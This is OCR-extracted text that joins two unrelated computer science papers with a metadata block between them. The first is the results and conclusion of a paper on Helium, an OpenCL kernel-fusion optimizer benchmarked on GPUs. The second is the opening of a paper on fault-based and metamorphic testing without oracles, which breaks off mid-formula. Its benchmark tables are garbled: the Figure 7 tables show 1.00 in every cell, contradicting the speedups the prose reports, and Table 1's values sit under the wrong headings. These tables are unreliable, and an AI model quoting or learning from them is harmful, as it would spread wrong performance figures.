- **Sobel**: the Sobel filter is a discrete differentiation operator commonly used for image processing applications like edge detection. In its general form, two gradient convolution operators are applied to the input, generating two temporary values, which are combined by a third operation. In this case the code can be hand optimized but in more complex applications these operators are created by composition of simple
Each application is tested with two different input sizes. The large input size is 4 times larger than the small one for all input and output buffers. For geoMatrix and ExpFusion, we also increase the number of inputs: geoMatrix is tested with 16 and 32 input matrices; ExpFusion with 4 and 12 input images and a pyramid depth of 4 and 8 respectively. Each benchmark is executed ten times with and without pre-loading our framework, measuring the total wall clock time on the host between the first OpenCL action pushed in a command queue to the termination of the last synchronization or blocking operation. We report the analysis for the median point of the ten executions. As both the Nvidia driver and Helium use a persistent compiler cache, most of the compilation overhead is excluded from the measurements. However, the overhead of the analysis and task graph transformation is still present since the trace is regenerated with sure for each execution.
The machine used for the test has an Intel Core i7-4770K CPU with 16GB of RAM and an Nvidia GeForce GTX 780 GPU connected via PCI-E 3.0. We use the OpenCL 1.1 implementation included in Nvidia’s Linux driver 331.79. Since Helium’s backend relies on Nvidia’s open source PTX backend, we only evaluated the benchmarks on the GPU.
---
**Figure 7: Helium performance compared to unoptimized and hand optimized code.** We test the application runtime when pre-loading helium before and after manually optimizing the code for a set of four benchmarks, comparing against the non-optimized version.
- **Unopt.**
- **Unopt. + Helium**
- **Hand Opt.**
- **Hand Opt. + Helium**
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>CCO</td>
<td>1.00</td>
<td>1.00</td>
<td>1.00</td>
<td>1.00</td>
</tr>
<tr>
<td>Sobel</td>
<td>1.00</td>
<td>1.00</td>
<td>1.00</td>
<td>1.00</td>
</tr>
<tr>
<td>geoMatrix</td>
<td>1.00</td>
<td>1.00</td>
<td>1.00</td>
<td>1.00</td>
</tr>
<tr>
<td>ExpFusion</td>
<td>1.00</td>
<td>1.00</td>
<td>1.00</td>
<td>1.00</td>
</tr>
</tbody>
</table>
<table>
<thead>
<tr>
<th></th>
<th></th>
<th></th>
<th></th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>CCO</td>
<td>1.00</td>
<td>1.00</td>
<td>1.00</td>
<td>1.00</td>
</tr>
<tr>
<td>Sobel</td>
<td>1.00</td>
<td>1.00</td>
<td>1.00</td>
<td>1.00</td>
</tr>
<tr>
<td>geoMatrix</td>
<td>1.00</td>
<td>1.00</td>
<td>1.00</td>
<td>1.00</td>
</tr>
<tr>
<td>ExpFusion</td>
<td>1.00</td>
<td>1.00</td>
<td>1.00</td>
<td>1.00</td>
</tr>
</tbody>
</table>
- **ExpFusion**: this application [10] fuses several images taken with different exposure times into one to increase the dynamic range by using a Laplacian decomposition and a Gaussian pyramid. The depth of the pyramids, number of input images and their properties are not known statically, making the application highly dynamic. The hand optimized version makes some assumptions about the input to fuse some static parts of the pipeline (which can only apply to a subset of possible inputs).
6. RESULTS
Figure 7 summarizes the effect of Helium on unoptimized and hand-optimized versions of our benchmarks. We notice that, Helium is able to improve performance over unoptimized code in all cases and further improve hand optimization in all cases except one where the performance is on par. Table 1 describes the experimental results in more detail. For each application and input, we report the number of OpenCL commands pushed in the command queue and how many of those were kernel invocations. We compare three alternative executions: the unoptimized binary with Helium preloaded, a manually hand-optimized version and lastly Helium with the hand-optimized binary. For each alternative execution we report the performance relative to the unoptimized application and the number of commands actually executed by the vendor implementation. The findings for each application are discussed below.
**CCO.** Helium is able to introduce task parallelism from the baseline using its parallelizing scheduler. Since there are no dependencies between the read at the end of an iteration and the writes from the following iteration, computation and communication can overlap. This results in a speedup of 1.15×. The hand optimized version does a better job by fragmenting the computation in smaller units, increasing the scope for copy-compute overlap, achieving 1.49×. However, combining Helium and the hand optimized version yields the best performance at 1.63×. Helium also takes advantage of the fragmented tasks but dispatches the tasks in three out-of-order queues; exposing three-way parallelism between computation and communication both from and to the device. Doing so manually requires a major re-write of the already hand-optimized code.
This shows that while Helium is able to improve the performance of existing code, it may also benefit from hand-transformations exposing more optimization opportunities.
**Sobel.** The first two stages being data independent and their output being processed by a map function, the three kernels can safely be merged into one, resulting in two fewer store instructions per point (for each temporary buffer) and three fewer loads per point (two for the temporary and one redundant read). When isolating this pattern in a single application, the same conclusion can easily be reached by a programmer, who applied the same optimization strategies in the hand optimized version. All implementations generated the same code and achieve the same speedup of 1.98×. However, if this pattern is part of a larger image application, or if it the result of dynamically composing from operators at runtime, it would become increasingly difficult to optimize by hand.
This application shows that Helium performs the same transformations as an expert programmer, without bloating the code base with specialized versions of the code.
**geoMatrix.** Because the number of input matrices is not known statically, it is not possible to implement a specialized version of the kernel. The hand optimized implementation achieves a speedup of 1.68× using in-place operations and creating specialized operators to multiply three matrices at once. Helium also generated specialized kernels, but combining all the matrices at once since their number is known at runtime. For both input sizes, Helium generated a single kernel, improving performance by over 3×.
While opting for a reasonable strategy of parallelizing tasks in the multiply stage, the manual transformations did not result in an important performance improvement. Task parallelism is not exploited by the GPU in this case because both inputs generate enough threads to occupy the entire device. However, this optimization considerably increases the complexity of the dataflow paths, resulting in poorer performance gains by Helium compared to Helium operating on the baseline. In both cases, our system performs the same optimizations: all kernels are fused into a single specialized kernel, and the amount of computation is roughly the same in both cases. The difference comes from the use of memory. By optimizing a composition in the baseline, the optimized version resulted in a single load per input matrix element and a single write for the result. The hand-optimized version uses writes to temporary buffers to speed up the reduction tree stage. These writes cannot be eliminated, as they are not released until after reading the final result. Hence, their side effect cannot be predicted and Helium cannot eliminate the dead store operations.
This demonstrates that partial hand-optimization can actually be counter-productive and impair performance if it is attempted prior to automatic techniques.
---
Table 1: Performance impact of Helium on non-optimized baseline and hand-optimized version. For each application we report how many commands were issued, and how many of those were kernel invocations in parenthesis. All speedups are relative to the non-optimized code. The bold speedup numbers present the average speedup of both large and small inputs.
<table>
<thead>
<tr>
<th>Application</th>
<th>Unoptimized</th>
<th>Unoptimized + Helium</th>
<th>Hand Optimized</th>
<th>Hand Optimized + Helium</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td># Tasks</td>
<td># Tasks</td>
<td>Speedup</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Enqueued</td>
<td>Replayed</td>
<td></td>
<td></td>
</tr>
<tr>
<td>CCO</td>
<td>1.14×</td>
<td>1.49×</td>
<td>1.63×</td>
<td></td>
</tr>
<tr>
<td>small</td>
<td>40 (10)</td>
<td>40 (10)</td>
<td>1.14×</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>80 (20)</td>
<td>1.50×</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>1.49×</td>
<td>1.63×</td>
</tr>
<tr>
<td>large</td>
<td>40 (10)</td>
<td>40 (10)</td>
<td>1.15×</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>80 (20)</td>
<td>1.49×</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>1.63×</td>
<td></td>
</tr>
<tr>
<td>Sobel</td>
<td>1.98×</td>
<td>1.98×</td>
<td>1.98×</td>
<td></td>
</tr>
<tr>
<td>small</td>
<td>5 (3)</td>
<td>3 (1)</td>
<td>1.78×</td>
<td>1.80×</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>3 (1)</td>
<td>1.79×</td>
</tr>
<tr>
<td>large</td>
<td>5 (3)</td>
<td>3 (1)</td>
<td>2.17×</td>
<td>3 (1)</td>
</tr>
<tr>
<td>geoMatrix</td>
<td>3.06×</td>
<td>1.68×</td>
<td>2.45×</td>
<td></td>
</tr>
<tr>
<td>small</td>
<td>19 (18)</td>
<td>2 (1)</td>
<td>3.05×</td>
<td>1.68×</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>10 (9)</td>
<td>2 (1)</td>
</tr>
<tr>
<td>large</td>
<td>35 (34)</td>
<td>2 (1)</td>
<td>3.06×</td>
<td>1.68×</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>18 (17)</td>
<td>2 (1)</td>
</tr>
<tr>
<td>ExpFusion</td>
<td>1.36×</td>
<td>1.04×</td>
<td>1.36×</td>
<td></td>
</tr>
<tr>
<td>small</td>
<td>446 (441)</td>
<td>298 (293)</td>
<td>1.32×</td>
<td>1.05×</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>339 (334)</td>
<td>298 (293)</td>
</tr>
<tr>
<td>large</td>
<td>2198 (2185)</td>
<td>820 (807)</td>
<td>1.41×</td>
<td>1.02×</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>1727 (1714)</td>
<td>820 (807)</td>
</tr>
<tr>
<td></td>
<td></td>
<td></td>
<td>1.41×</td>
<td></td>
</tr>
</tbody>
</table>
ExpFusion. Exposure fusion is a highly dynamic application and very little can be known statically. First, the pre-processing step depends on the image format, which is unknown at compile time. Second, the number of input images is unknown as well. A Laplacian Pyramid of an arbitrary depth is then built by recursively blurring and down-sampling the images, and the final image is reconstructed using a Gaussian pyramid. Despite the complexity of the pipeline, the host program only requires less than a hundred lines of code, but it contains complex control flow and requires a very modular design code to be maintainable.
The number of kernels executed at runtime widely varies depending on the input configuration, making manual optimizations very difficult, even with a help of a profiler. The small input size used 4 RGB input images and a pyramid depth of 4, which generated over 400 kernel instances. The larger input size used 12 input images and a depth of 8, invoking more than 2000 kernels.
The hand optimized version clones large parts of the code and specializes it for three-channels images, leaving the original generic application as a fallback if this assumption is not met at runtime. By specializing kernels, the overall number of invocations is decreased by 20%; however the performance gain is less than 5%, since most of the time is spent in combining across images rather than across image channels.
Helium takes advantage of runtime specialization to achieve the same speedup of 1.36x from either the baseline or the hand optimized code. It generates specialized code combining all images at once, leaving only the convolution steps in between, which cannot be merged due to spatial and temporal dependencies.
As the pyramid becomes wider and deeper with the larger input size, Helium shows better scalability than hand optimized code. It achieves a speedup of 1.4x, while the hand optimized version does not improve. This shows that even with more versions of the specialized kernels in the hand optimized implementation, Helium will always stay ahead by generating them at runtime, allowing it to adapt to new inputs.
This last application demonstrates the applicability of Helium on large and dynamic workloads where hand optimizations are not applicable or not efficient.
7. RELATED WORK
Dataflow Analysis. Mistry et al. [11] developed a profiling technique for analyzing data flow in multi-kernel OpenCL applications. This approach does not apply optimizations but allows programmers to identify bottlenecks by manually inspecting a profiling trace. Jablin et al. [6] explored a CPU-GPU communication framework to track buffer usage and infer memory transfers between host and devices automatically. This scheme improves complex communication patterns but does not alter device code.
JIT Compiler Optimization. TaskGraph[3] is a C++ library for dynamic code generation. The computation is expressed in terms of nested components, from which a framework builds a high level computation AST, optimizes it at runtime and re-compiles the optimized version. Lancet[14] is a framework for interacting with the Java JIT compiler in order to specialize fragments of code. Instead of automatically infer dependencies and optimizations, the Lancet compiler relies on user annotations and explicit specialization, allowing users to control the transformations. The Java Virtual Machine uses a variety of runtime optimizers such as Jalapeño[2] and Graal[12], allowing aggressive dynamic transformations of Java programs.
Code Generator for Heterogeneous Systems. Code generators allow generation of highly tuned device code, often taking into account kernel sequences. Halide[13] is a language and compiler for implementing complex image processing pipelines. Their DSL provides high level scheduling API while the compiler supports many backends, including CUDA and OpenCL. StreamIt[5] is a language and a compiler for stream programs. The compiler analyses the resulting streams and performs optimizations such as task fusion and fission or reordering. Delite[4] is a framework allowing the user to implement domain specific languages and use a sophisticated compiler toolchain.
8. DISCUSSION AND FUTURE WORK
OpenCL implementations have demonstrated and popularized JIT compilation and JIT optimizations as a way to tame heterogeneity. The most recent version of OpenCL proposes interoperability between vendors at a much lower level with another standard, SPIR[8], allowing the kind of transformation applied by Helium to be performed even more efficiently and in a platform-independent way.
We showed that delaying OpenCL commands can be done completely transparently and that enough information can be gathered at runtime to drive more aggressive optimizations. As backend implementations get more efficient, lazily evaluated command queues might become the default behavior in OpenCL in order to maximize optimization potential, or at least become an alternative scheduling method proposed as an extension.
Helium can be used to integrate many other optimization techniques and is complementary to existing single-kernel compiler transformations. It would be beneficial for both single kernel and inter kernel optimizations to divide kernels in smaller atomic functions (kernel fission), which could then be re-assembled more effectively using Helium’s task graph optimizer. This would allow Helium to factorize common memory operations and avoid redundant operations.
More research is necessary to evaluate and prioritize heuristics deciding how nodes should be fused and predict the efficiency of the transformation. Fusion is not always applicable since there are limitations on the number of kernel parameters. It is also not always beneficial for kernels using a lot of registers or for which the memory bandwidth has been optimized for a particular device. The challenges lie not only in predicting the performance gain of the transformation but also its re-usability in order to avoid over-specializing the code. Very aggressive specialization might not perform much better than a more selective specialization and is less applicable.
Finally the same technique can be adapted to distribute computation across multiple devices transparently. Analysis of a large task graph could find large independent sub-trees, which can be dispatched to different devices.
9. CONCLUSION
This paper has presented Helium, a transparent OpenCL overlay for automatically computing and optimizing task graphs in OpenCL applications. It is based on a delay-optimize-replay mechanism allowing the scheduler to chain OpenCL commands together according to their dependencies and compute only what is necessary in the host application. The optimizer also performs other types of transformations on the task graph, such as task reordering and kernel fusion, which improve the overall performance by increasing device occupancy and simplifying memory transactions across kernels.
We evaluated this framework on multiple benchmarks to assess both the efficiency of Helium’s compiler transformations and its parallelizing scheduler. We found that in most cases Helium can replicate the performance of hand optimized code without the expense of refactoring code. For highly dynamic applications Helium can outperform hand optimized code by taking advantage of runtime information. Finally we showed that over-engineered and over-complicated code not only impairs maintainability but may also harm automated optimization processes, which could achieve better results with simpler code.
10. REFERENCES
|
{"Source-Url": "http://www.research.ed.ac.uk/portal/files/19990634/HeliumOptimizer.pdf", "len_cl100k_base": 11725, "olmocr-version": "0.1.50", "pdf-total-pages": 12, "total-fallback-pages": 0, "total-input-tokens": 38241, "total-output-tokens": 13261, "length": "2e13", "weborganizer": {"__label__adult": 0.0004472732543945313, "__label__art_design": 0.0005087852478027344, "__label__crime_law": 0.0003895759582519531, "__label__education_jobs": 0.0004050731658935547, "__label__entertainment": 0.0001035928726196289, "__label__fashion_beauty": 0.00020623207092285156, "__label__finance_business": 0.00024020671844482425, "__label__food_dining": 0.0003986358642578125, "__label__games": 0.0010271072387695312, "__label__hardware": 0.0038394927978515625, "__label__health": 0.0006189346313476562, "__label__history": 0.00036025047302246094, "__label__home_hobbies": 0.0001271963119506836, "__label__industrial": 0.0007119178771972656, "__label__literature": 0.0002467632293701172, "__label__politics": 0.00034236907958984375, "__label__religion": 0.0007572174072265625, "__label__science_tech": 0.09503173828125, "__label__social_life": 7.587671279907227e-05, "__label__software": 0.00839996337890625, "__label__software_dev": 0.88427734375, "__label__sports_fitness": 0.0004515647888183594, "__label__transportation": 0.0009183883666992188, "__label__travel": 0.00028061866760253906}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 61352, 0.03029]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 61352, 0.50775]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 61352, 0.91215]], "google_gemma-3-12b-it_contains_pii": [[0, 1241, false], [1241, 6059, null], [6059, 10993, null], [10993, 13428, null], [13428, 19073, null], [19073, 26474, null], [26474, 32192, null], [32192, 37576, null], [37576, 42800, null], [42800, 50333, null], [50333, 57335, null], [57335, 61352, null]], "google_gemma-3-12b-it_is_public_document": [[0, 1241, true], [1241, 6059, null], [6059, 10993, null], [10993, 13428, null], [13428, 19073, null], [19073, 26474, null], [26474, 32192, null], [32192, 37576, null], [37576, 42800, null], [42800, 50333, null], [50333, 57335, null], [57335, 61352, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 61352, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 61352, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 61352, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 61352, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 61352, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 61352, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 61352, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 61352, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 61352, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 61352, null]], "pdf_page_numbers": [[0, 1241, 1], [1241, 6059, 2], [6059, 10993, 3], [10993, 13428, 4], [13428, 19073, 5], [19073, 26474, 6], [26474, 32192, 7], [32192, 37576, 8], [37576, 42800, 9], [42800, 50333, 10], [50333, 57335, 11], [57335, 61352, 12]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 61352, 0.18095]]}
|
olmocr_science_pdfs
|
2024-11-30
|
2024-11-30
|
f4440e475dada608913aa783c4545ad1dbf381b9
|
<table>
<thead>
<tr>
<th><strong>Title</strong></th>
<th>Fault-based testing without the need of oracles</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Author(s)</strong></td>
<td>Chen, TY; Tse, TH; Zhou, ZQ</td>
</tr>
<tr>
<td><strong>Citation</strong></td>
<td>Information And Software Technology, 2003, v. 45 n. 1, p. 1-9</td>
</tr>
<tr>
<td><strong>Issued Date</strong></td>
<td>2003</td>
</tr>
<tr>
<td><strong>URL</strong></td>
<td><a href="http://hdl.handle.net/10722/55518">http://hdl.handle.net/10722/55518</a></td>
</tr>
<tr>
<td><strong>Rights</strong></td>
<td>This work is licensed under a Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.; Copyright 2002 Elsevier Science B.V. All rights reserved.</td>
</tr>
</tbody>
</table>
Fault-Based Testing Without the Need of Oracles * †
T. Y. Chen ‡
School of Information Technology,
Swinburne University of Technology, Australia
T. H. Tse and Zhiquan Zhou
Department of Computer Science and Information Systems,
The University of Hong Kong
Abstract
There are two fundamental limitations in software testing, known as the reliable test set problem and the oracle problem. Fault-based testing is an attempt by Morell to alleviate the reliable test set problem. In this paper, we propose to enhance fault-based testing to alleviate the oracle problem as well. We present an integrated method that combines metamorphic testing with fault-based testing using real and symbolic inputs.
Keywords: Fault-based testing, metamorphic testing, oracle problem, symbolic execution.
1 Introduction
Program correctness has long been one of the most fundamental issues of computer science. Although program proving provides a formal means of verifying the correctness of programs, it suffers from the complexity and automation of the proofs. It is not easy even to prove the correctness of a relatively simple program. On the other hand, software testing is the most popular method used by practitioners to improve their confidence in the software product. There are, however, two recognized limitations in software testing, known as the reliable test set problem and the oracle problem. The concept of a reliable test set was originally proposed by Howden [20]: Suppose \( p \) is a program computing function \( f \) on domain \( D \). A test set \( T \subseteq D \) is reliable for \( p \) if \( (\forall t \in T, \ p(t) = f(t)) \Rightarrow (\forall t \in D, \ p(t) = f(t)) \). In other words, the success of a reliable test set implies the program correctness. Howden points out, however, that an effective algorithm which generates a reliable test set for any given program cannot be constructed, unless the set covers the whole input domain. We refer to this limitation as the reliable test set problem or the reliability problem. Another deficiency in software testing is that, in some situations, testers are unable to decide whether \( p(t) = f(t) \), that is, whether the result of the program under testing agrees with the expected result. This second limitation is known as the oracle problem [17, 29].
Since reliable test sets of finite sizes are not attainable in general, and test sets employed in practice must be of finite sizes, testers need practical means of evaluating such test sets with a view to selecting those with
better performances. The mutation adequacy (or relative adequacy) criteria were introduced [5, 15, 16] to provide a realistic approach for determining whether a test set is sufficiently adequate. It restricts the faulty programs to a smaller set, possibly finite in size. Such faulty programs can be differentiated from the original program by a test set that is also finite. Thus, suppose \( p \) is a program computing function \( f \) on domain \( D \), and \( Q \) is a finite set of programs generated by slightly modifying the original program \( p \). Each program \( q \in Q \) such that \( q \neq p \) is called a mutant of \( p \). A test set \( T \subset D \) is said to be adequate for \( p \) relative to \( Q \) if, \( \forall \) programs \( q \in Q \), \( (\exists t \in D : q(t) \neq f(t)) \Rightarrow (\exists t \in T : q(t) \neq f(t)) \). The purpose of mutation testing is to generate a relative adequate test set \( T \) to differentiate all the mutants \( q \in Q \) from the original program \( p \). Mutation testing has been shown to be very powerful in revealing program faults both experimentally and analytically [16, 26, 27, 28]. This is because, as research into the “fault coupling effect” [18, 19, 25] demonstrated, “Complex faults are coupled to simple faults in such a way that a test data set that detects all simple faults in a program will detect a high percentage of the complex faults” [25].
In mutation testing, it is assumed that any set of mutants consists only of a finite number of programs, so that they can be killed by a finite test set. This constraint has been resolved by Morell using the concept of fault-based testing [22]. He refers to mutants as alternate programs, and a set of mutants as an alternative set, which may contain an infinite number of programs. Hence, fault-based testing “prove[s] the absence of infinitely many faults based on finitely many executions” [22]. To achieve this goal, the technique of symbolic execution [11, 12, 21] was used, and statements proclaiming the absence of certain types of faults were created and proved during the testing process. In this way, Morell combined program testing and proving in a unified methodology.
Given any input to a program, an oracle is a mechanism that specifies the expected outcome. We note that, in the above methodologies for alleviating the reliable test set problem, there is always an underlying assumption that a testing oracle exists. Testers check the execution results against the oracles to decide whether the program generates correct results on test cases. In some practical situations, however, an oracle is not attainable. This is known as the oracle problem. In numerical analysis, for example, it is often difficult to verify the results of calculations [17]. Weyuker [29] defined a program to be non-testable if “(1) there does not exist an oracle” or “(2) it is theoretically possible, but practically too difficult to determine the correct output.” Moreover, in the theory of fault-based testing introduced by Morell, not only is the oracle for real output required, but the oracle for symbolic output is also demanded because it involves symbolic execution and symbolic output. Without an oracle, the above techniques will not work. In this paper, we propose an integrated approach that combines fault-based testing with metamorphic testing to alleviate the oracle problem. Our method is built on the techniques of symbolic execution [11, 12, 14, 21, 24].
In Section 2, we shall introduce the concepts in fault-based testing, and highlight the need of a testing oracle. In Section 3, we shall review testing techniques proposed by various researchers that can be carried out in the absence of an oracle. In particular, we shall introduce the metamorphic testing technique. In Section 4, we shall present our approach that integrates fault-based testing with metamorphic testing in order to alleviate the oracle problem in the former technique. We shall demonstrate through examples how real and symbolic inputs can be used to rule out prescribed faults in programs even if testing oracles are not available. In Section 5, we shall discuss how the method can be applied further. The final section will conclude the paper.
2 Fault-Based Testing
There have been a lot of discussions on the purposes of software testing. Most people agree that testing cannot prove the correctness of a program [2]. Some people regard testing as an activity to look for bugs in a program, and therefore consider successful test cases, which fail to reveal errors, to be useless and a waste of time [23]. Others argue that successful test cases are useful and informative [6, 22]. Fault-based testing adopts the latter perspective and treats successful executions of a program as indications of the absence of some types of faults [22]. Fault-based testing therefore receives from a successful execution the information on the absence of certain types of faults. In some sense, mutation testing can be regarded as a special case of fault-based testing. A major difference is that the set of mutants eliminated by the former is finite whereas, by making use of symbolic executions, the set of alternate programs eliminated by fault-based testing can be infinite.
2.1 Fault-based testing with real input
Figure 1 shows a 3-line program \( p \) adapted from the first example in [22], which illustrates the technique of using one single symbolic alternative to represent infinitely many alternatives. The program is supposed to calculate a mathematical function \( f(x, y) = 2xy + 6 \). To ensure that there is no error with respect to the constant “3” in line 2, we assume that it is replaced by another constant “\( F \)”, as shown in line 2’ of program \( p' \) in Figure 2. “\( F \)” denotes all possible alternatives for the constant “3”, and hence program \( p' \) represents infinitely many alternate programs for \( p \).
Let \( x = 5 \) and \( y = 6 \) be a test case. The original program \( p \) will generate an output of 66, which can easily be verified to be correct against an oracle. By means of symbolic execution of program \( p' \), we obtain an output of \( (30 + F) \times 2 \). Morell’s goal is to find all the constants \( F \) such that program \( p' \) will produce the same result as the original program \( p \). In other words, we must find all the values of \( F \) such that \( (30 + F) \times 2 = 66 \). Solving the equation, we obtain \( F = 3 \). Hence, we have proved that the test case \((5, 6)\) distinguishes the original program \( p \) from all mutants constructed by replacing 3 in line 2 by any other constant values. Note that, to do the testing, an oracle is required for checking the correctness of the output of the original program.
2.2 Fault-based testing with symbolic input
The previous example illustrated the procedure of using a real input to eliminate a constant alternative in fault-based testing. Morell also demonstrated how to eliminate more complex alternatives such as variable substitution using symbolic inputs rather than real inputs. Figure 3 shows a sample program adapted from [22]. It calculates the area under the curve \(x^2 + 1\) over the interval between \(a\) and \(b\). Suppose the aim of the testing is to show the absence of errors in the assignment statement 3. Let the symbolic input be \(a = A, b = B,\) and \(\text{incr} = I\) such that \(B \geq A\) and \(A + I \geq B\). Then the symbolic output produced by symbolic execution will be \((A + A + 1) * (B - A)\). Note that, according to Morell’s method, a symbolic oracle is required here to verify the correctness of the output.
Suppose we introduce a fault in the assignment statement 3:
\[
3': \quad \text{area} = F; \quad /* \text{Should be } \text{area} = 0; */
\]
where \(F\) is a constant. Following the same execution path, we obtain an output of \(F + (A + A + 1) * (B - A)\). Morell’s goal is to find all the constants \(F\) such that statement 3’ will produce the same result as the original statement 3. Hence, we have \(F + (A^2 + 1) * (B - A) = (A^2 + 1) * (B - A)\), which can be solved to give \(F = 0\). Thus, statement 3’ can only be exactly the same as statement 3.
Morell also proved that alternate programs would also be eliminated when \(F\) denoted a polynomial of \(a\). In other words, if \(F(a)\) denotes the set of all polynomials in \(a\), then it can be proved that \(F(a)\) can only be 0.
Furthermore, Morell introduced another error in statement 5. It is replaced by
\[
5': \quad \text{area} = F; \quad /* \text{Should be } \text{area} = \text{area} + v * \text{incr}; */
\]
where \(F\) denotes a constant alternative. Let the symbolic input be \(a = A, b = B,\) and \(\text{incr} = I\) such that \(A + I \leq B\) and \(A + 2I > B\). Using a similar procedure, it can be shown that \(F = (A + A + 1) * I,\) thus contradicting the
assumption that $F$ is a constant. This proves that no constant substitution can be found for statement 5. By executing the loop twice, Morell further eliminated all alternate programs in which $F$ could be a polynomial of the variables \textit{area}, \textit{v}, and \textit{incr}. In other words, when the assignment fault introduced in statement 5 is a polynomial in the form $F(\text{area}, \text{v}, \text{incr})$, it can be proved [22] that $F(x, y, z) = x + yz$, which is exactly the function computed in the original program.
Note again that these techniques have been based on the assumption that both the real and symbolic outputs can be verified against some oracles.
In Section 4, we shall present an approach to do fault-based testing without the need of oracles for real and symbolic outputs. Before doing this, let us review the oracle problem in more details.
3 Testing Without Oracles
In order to test a numerical program where an oracle is not available, a common approach is to make use of identity relations derived from theory. This technique was, for example, intensively used in Cody and Waite [13]. For instance, the identity $\cos(-x) = \cos(x)$ was used to test the program that supposedly compute the cosine function.
Weyuker [29] undertook a detailed study and introduced various approaches to test “non-testable programs” via static and dynamic properties of the functions being calculated. She gave an example of the testing of two programs that are supposed to compute the functions $f(x)$ and $f'(x)$, respectively, where $f'$ is the derivative of $f$. From elementary results in Taylor series, we know that $f(x + \Delta) = f(x) + \Delta \times f'(x) + O(\Delta^2)$. Substituting $\Delta = 1, 0.1, 0.01, \ldots$ into the expression $f(x + \Delta) - (f(x) + \Delta \times f'(x))$, we can “see at a glance whether $f'$ could be the derivative of $f$.”
There is a closely related technique known as \textit{data diversity}. It has been developed and advocated for fault tolerance, rather than fault detection, by Ammann and Knight [1]. Given an original input, the objective of data diversity is to provide alternate means of computing the same input using the same program. Such alternate inputs are basically “reexpressed” forms of the original input. Consequently, properties used in data diversity must also be identity relations.
Blum and Kannan [3] introduced the concept of a \textit{program checker}, which is a program that probabilistically checks the correctness of the output of another program. An example is a checker for the graph isomorphism function, which employs the property that if $G$ and $H$ are not isomorphic, then $G$ and permutations of $H$ should not be isomorphic either. Blum et al. [4] extended the theory of the program checker into the theory of \textit{self-testing / correcting}. Given a function $f$ and a program $p$ that implements $f$, a \textit{self-tester $T$} for $f$ is a probabilistic program. $T$ estimates the error probability that $p(x) \neq f(x)$ for a random input $x$. A \textit{self-correction $C$} for $f$ is also a probabilistic program. If it is known that program $p$ calculates $f$ correctly for sufficiently large amount of data on the input domain, then for any input $x$, $C$ will make calls to $p$ and return the value of $f(x)$ correctly with a high probability. Blum et al. introduced general techniques to construct self-tester / corrector for a variety of numerical functions. For example, the self-tester / corrector for integer multiplication functions essentially employs the distributive law $a \times (b + c) = a \times b + a \times c$. The self-tester / corrector for modular functions essentially employs the property that $(a + b) \mod r = (a \mod r + b \mod r) \mod r$.
More recently, a \textit{metamorphic testing (MT)} method was proposed by Chen et al. [8]. It can be explained briefly as follows. Let $f$ be a function to be programmed. Suppose $R_f$ is some property of $f$ that can be expressed as a relation among a series of the function’s inputs $x_1, x_2, \ldots, x_n$, where $n > 1$, and their
corresponding values \( f(x_1), f(x_2), \ldots, f(x_n) \). This relation \( R_f \) is called a metamorphic relation. Consider the sine function, for instance. For any two inputs \( x_1 \) and \( x_2 \) such that \( x_1 + x_2 = \pi \), we must have \( \sin x_1 = \sin x_2 \). This property is a metamorphic relation of the sine function and can be written formally as
\[
R_{\sin} = \{ (x_1, x_2, \sin x_1, \sin x_2) \mid x_1 + x_2 = \pi \rightarrow \sin x_1 = \sin x_2 \}.
\]
When there is no ambiguity, we can simply write the relation as
\[
R_{\sin}: \quad x_1 + x_2 = \pi \rightarrow \sin x_1 = \sin x_2.
\]
Suppose \( p \) is a program that implements the function \( f \). Let \( p(x_1), p(x_2), \ldots, p(x_n) \) be the outputs of \( p \) corresponding to the inputs \( x_1, x_2, \ldots, x_n \), respectively. In theory, \( p \) should satisfy all the properties of \( f \), including metamorphic relations \( R_f \). In practice, however, the relations \( R_f \) need to be converted into other metamorphic relations \( R_p \) more suitable for the implementation domain, by taking into account such implementation issues as rounding errors in floating-point arithmetic. MT proposes to check whether a program under test satisfies such metamorphic relations \( R_p \). They are necessary (but not sufficient) conditions for the correctness of the program under test.
For example, suppose \( p \) implements the sine function. In theory, it should satisfy
\[
R_p = \{ (x_1, x_2, p(x_1), p(x_2)) \mid x_1 + x_2 = \pi \rightarrow p(x_1) = p(x_2) \}.
\]
In practice, when floating point arithmetic is involved, the inputs and outputs should satisfy an implementation-oriented metamorphic relation such as
\[
